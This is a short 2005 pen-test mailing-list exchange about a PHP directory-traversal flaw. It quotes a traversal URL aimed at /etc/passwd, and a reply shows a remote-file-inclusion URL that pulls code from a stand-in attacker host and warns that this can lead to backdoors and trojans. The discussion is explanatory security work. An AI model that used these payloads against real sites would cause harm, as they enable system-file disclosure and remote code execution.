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Network Security Pen-Test
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Re: PHP Directory Transversal

Subject: Re: PHP Directory Transversal
Date: Mon, 14 Mar 2005 17:02:38 +0000
It seems that the problem was that it had "safe_mode" on....

Thank you all for the replies!

Cheers, Andy

From: John GALLET <john.gallet@wanadoo.fr>
To: Andres Molinetti <andymolinetti@hotmail.com>
CC: pen-test@securityfocus.com, <webappsec@securityfocus.com>
Subject: Re: PHP Directory Transversal
Date: Mon, 14 Mar 2005 09:06:25 +0100 (CET)

Hi there,

> Therefore, I tried doing a
> www.example.com/static.php?page=../../../../../../etc/passwd
> but I get an error saying that file doesn't exist.
> I user the same source code in my server, and I could retrieve the
> file...what can be happening? I don't think it is under a chroot jail...

What you can or can not read depends on the configuration of php
(include_path vs safe mode for example). Have a look at :
http://fr3.php.net/features.safe-mode

Now the real risk is not so much reading some source code as executing
some other people's code.

www.example.com/static.php?page=http://evilcracker.com/evil_code.txt
has good chances of also getting executed, which opens the path to
install any backdoor, download perl scripts/trojans, etc...

HTH
JG




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